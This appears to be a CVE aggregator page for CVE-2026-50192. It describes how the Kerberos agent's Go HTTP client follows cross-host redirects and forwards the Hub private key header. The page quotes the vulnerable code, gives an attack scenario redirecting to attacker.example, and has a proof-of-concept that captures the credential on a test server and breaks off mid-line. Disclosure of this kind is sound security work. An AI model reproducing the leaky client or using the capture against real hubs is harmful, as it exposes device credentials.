🛡️ CVE-2026-50192 — machinery
Description
Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect
Summary
The Kerberos Hub upload path sends the agent's Hub credentials in the custom X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey request headers to the operator-configured Hub URL (config.HubURI). The HTTP client used (&http.Client{} in UploadKerberosHub) is constructed without a CheckRedirect policy, so it follows HTTP redirects automatically. Go's net/http strips only sensitive headers (Authorization, Cookie, WWW-Authenticate) on a cross-host redirect; it does not strip custom headers such as X-Kerberos-Hub-PrivateKey. As a result, if the configured HubURI returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).
Impact
The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured HubURI issues a cross-origin redirect. HubURI is operator configuration (models.Config.HubURI, JSON hub_uri); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device.
Vulnerable code (file:line)
machinery/src/cloud/kerberos_hub.go — the custom auth headers are set on a request to the operator-configurable config.HubURI, and the client follows redirects (no CheckRedirect):
```go
// Check if we are allowed to upload to the hub with these credentials.
// There might be different reasons like (muted, read-only..)
req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil)
if err != nil {
errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error()
log.Log.Error(errorMessage)
return false, true, errors.New(errorMessage)
}
req.Header.Set("X-Kerberos-Storage-FileName", fileName)
req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera")
req.Header.Set("X-Kerberos-Storage-Device", config.Key)
req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey)
req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63
req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region)
var client *http.Client
if os.Getenv("AGENT_TLS_INSECURE") == "true" {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client = &http.Client{Transport: tr}
} else {
client = &http.Client{} // line 73 — no CheckRedirect
}
resp, err := client.Do(req)
```
HubURI is operator configuration:
```go
HubURI string json:"hub_uri" bson:"hub_uri"
```
Attack scenario
1. An operator configures the agent with a hub_uri.
2. That host (or a host reachable from it via redirect) responds to /storage/upload with 302 Found to https://attacker.example/....
3. client.Do(req) follows the redirect and re-sends the request, including X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey, to attacker.example.
4. The attacker captures the Hub credentials.
Proof of concept
Driver built against the verbatim pinned kerberos_hub.go from v3.6.25. The exported cloud.UploadKerberosHub is invoked. Two hostnames resolve to local test servers so net/http treats the 302 as a genuine cross-host redirect.
```go
package main
import (
"context"
"fmt"
"net"
"net/http"
"net/http/httptest"
"os"
"strings"
"sync"
"github.com/kerberos-io/agent/machinery/src/cloud"
"github.com/kerberos-io/agent/machinery/src/models"
)
func installResolver(mapping map[string]string) {
tr := http.DefaultTransport.(*http.Transport).Clone()
tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
host, _, _ := net.SplitHostPort(addr)
if target, ok := mapping[host]; ok {
addr = target
}
return (&net.Dialer{}).DialContext(ctx, network, addr)
}
http.DefaultTransport = tr
}
func main() {
var mu sync.Mutex
var sawPriv, sawPub string
attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
mu.Lock()
sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey")
sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey")
mu.Unlock()
fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path)
fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey"))
w.WriteHeader(200)
}))
defer attacker.Close()
legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Printf("[legit host %s] received %
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality low, integrity none, availability none.
Weakness class
CVE-2026-50192 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.
Affected software
CVE-2026-50192 is recorded against 1 package.
- github.com/kerberos-io/agent/machinery
Timeline and source
Published on 2 July 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/kerberos-io/agent/machinery | — | — |
References
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Free Vulnerability Check
Is your site affected by CVE-2026-50192?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-50192 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.